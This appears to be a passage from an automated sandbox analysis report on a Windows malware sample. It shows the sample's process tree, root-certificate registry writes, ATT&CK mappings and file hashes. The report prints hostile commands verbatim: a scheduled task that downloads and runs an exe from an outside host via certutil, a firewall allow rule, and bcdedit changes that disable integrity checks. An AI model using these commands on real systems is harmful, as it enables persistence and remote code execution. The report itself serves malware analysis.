07777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.execsrss.exe

pid	process
1384	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
1340	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
808	csrss.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

460

pid	process
460

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	1384	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Token: SeImpersonatePrivilege	1384	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
Token: SeSystemEnvironmentPrivilege	808	csrss.exe

Suspicious use of WriteProcessMemory 58 IoCs

Processes:

4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.execmd.exepatch.execsrss.exe

description	pid	process	target process
PID 1340 wrote to memory of 1712	1340	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe	cmd.exe
PID 1340 wrote to memory of 1712	1340	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe	cmd.exe
PID 1340 wrote to memory of 1712	1340	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe	cmd.exe
PID 1340 wrote to memory of 1712	1340	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe	cmd.exe
PID 1712 wrote to memory of 2008	1712	cmd.exe	netsh.exe
PID 1712 wrote to memory of 2008	1712	cmd.exe	netsh.exe
PID 1712 wrote to memory of 2008	1712	cmd.exe	netsh.exe
PID 1340 wrote to memory of 808	1340	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe	csrss.exe
PID 1340 wrote to memory of 808	1340	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe	csrss.exe
PID 1340 wrote to memory of 808	1340	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe	csrss.exe
PID 1340 wrote to memory of 808	1340	4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe	csrss.exe
PID 1536 wrote to memory of 924	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 924	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 924	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1168	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1168	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1168	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1752	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1752	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1752	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1724	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1724	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1724	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1568	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1568	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1568	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1592	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1592	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1592	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 812	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 812	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 812	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1636	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1636	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1636	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 652	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 652	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 652	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1668	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1668	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1668	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 2008	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 2008	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 2008	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1572	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1572	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 1572	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 824	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 824	1536	patch.exe	bcdedit.exe
PID 1536 wrote to memory of 824	1536	patch.exe	bcdedit.exe
PID 808 wrote to memory of 1520	808	csrss.exe	bcdedit.exe
PID 808 wrote to memory of 1520	808	csrss.exe	bcdedit.exe
PID 808 wrote to memory of 1520	808	csrss.exe	bcdedit.exe
PID 808 wrote to memory of 1520	808	csrss.exe	bcdedit.exe
PID 808 wrote to memory of 1456	808	csrss.exe	dsefix.exe
PID 808 wrote to memory of 1456	808	csrss.exe	dsefix.exe
PID 808 wrote to memory of 1456	808	csrss.exe	dsefix.exe
PID 808 wrote to memory of 1456	808	csrss.exe	dsefix.exe

C:\Users\Admin\AppData\Local\Temp\4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
"C:\Users\Admin\AppData\Local\Temp\4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1384
- C:\Users\Admin\AppData\Local\Temp\4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe
  "C:\Users\Admin\AppData\Local\Temp\4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e.exe"
  2⤵
  - Windows security bypass
  - Loads dropped DLL
  - Windows security modification
  - Adds Run key to start application
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1340
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1712
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Modifies data under HKEY_USERS
      PID:2008
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe ""
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Modifies data under HKEY_USERS
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:808
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:1148
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
      4⤵
      Creates scheduled task(s)
      PID:1432
  - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Modifies system certificate store
      Suspicious use of WriteProcessMemory
      PID:1536
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:924
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1168
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1752
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1724
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1568
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1592
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:812
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1636
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:652
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1668
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2008
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -timeout 0
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1572
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:824
  - - C:\Windows\system32\bcdedit.exe
      C:\Windows\Sysnative\bcdedit.exe /v
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1520
  - - C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
      4⤵
      Executes dropped EXE
      PID:1456

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20230129190143.log C:\Windows\Logs\CBS\CbsPersist_20230129190143.cab
1⤵
- Drops file in Windows directory
PID:1284

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Impair Defenses

T1562

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

Filesize
94KB

MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe

Filesize
3.8MB

MD5
ae38ab4a24718f368139908c03b4c841

SHA1
5856e1cfe4f30a1acc76c03e827b21b60f7aa147

SHA256
4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e

SHA512
081ed2d3e09ecfdc33801e7dec8e6d8f838d7931df8e086b41b553baba7fdf23fd13cd1d9c38b74156e782c95559f18097b4143d02180ee3b2f61cbb723b7fee

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

Filesize
94KB

MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll

Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll

Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe

Filesize
3.8MB

MD5
ae38ab4a24718f368139908c03b4c841

SHA1
5856e1cfe4f30a1acc76c03e827b21b60f7aa147

SHA256
4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e

SHA512
081ed2d3e09ecfdc33801e7dec8e6d8f838d7931df8e086b41b553baba7fdf23fd13cd1d9c38b74156e782c95559f18097b4143d02180ee3b2f61cbb723b7fee

Download Submit
\Windows\rss\csrss.exe

Filesize
3.8MB

MD5
ae38ab4a24718f368139908c03b4c841

SHA1
5856e1cfe4f30a1acc76c03e827b21b60f7aa147

SHA256
4b88bf125bdbc849dcc17df64d96810db155fc8b88fcacb0fbc8e4777bc1022e

SHA512
081ed2d3e09ecfdc33801e7dec8e6d8f838d7931df8e086b41b553baba7fdf23fd13cd1d9c38b74156e782c95559f18097b4143d02180ee3b2f61cbb723b7fee

Download Submit
memory/652-95-0x0000000000000000-mapping.dmp

Download
memory/808-67-0x0000000000000000-mapping.dmp

Download
memory/808-71-0x0000000001360000-0x0000000001708000-memory.dmp

Filesize
3.7MB

Download
memory/808-72-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/808-73-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/808-70-0x0000000001360000-0x0000000001708000-memory.dmp

Filesize
3.7MB

Download
memory/812-93-0x0000000000000000-mapping.dmp

Download
memory/824-99-0x0000000000000000-mapping.dmp

Download
memory/924-87-0x0000000000000000-mapping.dmp

Download
memory/1168-88-0x0000000000000000-mapping.dmp

Download
memory/1340-63-0x0000000000E20000-0x00000000011C8000-memory.dmp

Filesize
3.7MB

Download
memory/1340-59-0x0000000000E20000-0x00000000011C8000-memory.dmp

Filesize
3.7MB

Download
memory/1340-64-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/1340-69-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
